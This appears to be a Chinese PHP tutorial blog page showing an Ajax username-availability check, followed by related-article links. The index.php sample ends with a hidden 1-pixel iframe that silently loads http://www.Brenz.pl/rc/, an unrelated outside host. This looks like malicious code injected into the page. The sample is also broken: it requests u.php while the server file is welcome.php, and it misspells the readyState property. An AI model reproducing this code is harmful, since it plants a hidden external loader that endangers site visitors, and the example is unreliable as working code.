PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
优化PHP程序的方法小结
Feb 23 PHP
使用php判断网页是否gzip压缩
Jun 25 PHP
如何修改和添加Apache的默认站点目录
Jul 05 PHP
php实现数组筛选奇数和偶数示例
Apr 11 PHP
PHP开源开发框架ZendFramework使用中常见问题说明及解决方案
Jun 12 PHP
destoon实现公司新闻详细页添加评论功能的方法
Jul 15 PHP
ThinkPHP中的常用查询语言汇总
Aug 22 PHP
PHP之autoload运行机制实例分析
Aug 28 PHP
php使用GD创建保持宽高比缩略图的方法
Apr 17 PHP
php实现对象克隆的方法
Jun 20 PHP
Netbeans 8.2将支持PHP7 更精彩
Jun 13 PHP
PHP微信开发之根据用户回复关键词\位置返回附近信息
Jun 24 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
PHP的ASP防火墙
2006/10/09 PHP
php 表单提交大量数据发生丢失的解决方法
2014/03/03 PHP
如何让搜索引擎抓取AJAX内容解决方案
2014/08/25 PHP
PHP入门教程之会话控制技巧(cookie与session)
2016/09/11 PHP
php魔法函数与魔法常量使用介绍
2017/07/23 PHP
php设计模式之备忘模式分析【星际争霸游戏案例】
2020/03/24 PHP
PHP7 弃用功能
2021/03/09 PHP
在Javascript里访问SharePoint列表数据的实现方法
2011/05/22 Javascript
javascript学习笔记(一)基础知识
2014/09/30 Javascript
JSON取值前判断
2014/12/23 Javascript
JavaScript实现列出数组中最长的连续数
2014/12/29 Javascript
浅谈javascript中replace()方法
2015/11/10 Javascript
JavaScript如何对图片进行黑白化
2018/04/10 Javascript
微信小程序实现发红包功能
2018/07/11 Javascript
vue-router二级导航切换路由及高亮显示的实现方法
2019/07/10 Javascript
小程序跨页面交互的作用与方法详解
2020/01/07 Javascript
[03:55]显微镜下的DOTA2特别篇——430灰烬之灵神级操作
2014/06/24 DOTA
python中类变量与成员变量的使用注意点总结
2017/04/29 Python
利用python实现简单的循环购物车功能示例代码
2017/07/05 Python
Django安装配置mysql的方法步骤
2018/10/15 Python
Python3中urlencode和urldecode的用法详解
2019/07/23 Python
解决pycharm最左侧Tool Buttons显示不全的问题
2019/12/17 Python
pytorch实现建立自己的数据集(以mnist为例)
2020/01/18 Python
Python 如何实现数据库表结构同步
2020/09/29 Python
adidas美国官网:adidas US
2016/09/21 全球购物
Vichy薇姿加拿大官网:法国药妆,全球专业敏感肌护肤领先品牌
2018/07/11 全球购物
联想智利官方网站:Lenovo Chile
2020/06/03 全球购物
与C++相比,Java中的数组有什么不同
2014/03/25 面试题
商铺门前三包责任书
2014/07/25 职场文书
2014年小班保育员工作总结
2014/12/23 职场文书
从严治党主题教育活动总结
2015/05/07 职场文书
婚礼父母致辞
2015/07/28 职场文书
2016大学生暑期社会实践心得体会
2016/01/14 职场文书
利用 JavaScript 构建命令行应用
2021/11/17 Javascript
Vue elementUI表单嵌套表格并对每行进行校验详解
2022/02/18 Vue.js
GoFrame框架数据校验之校验结果Error接口对象
2022/06/21 Golang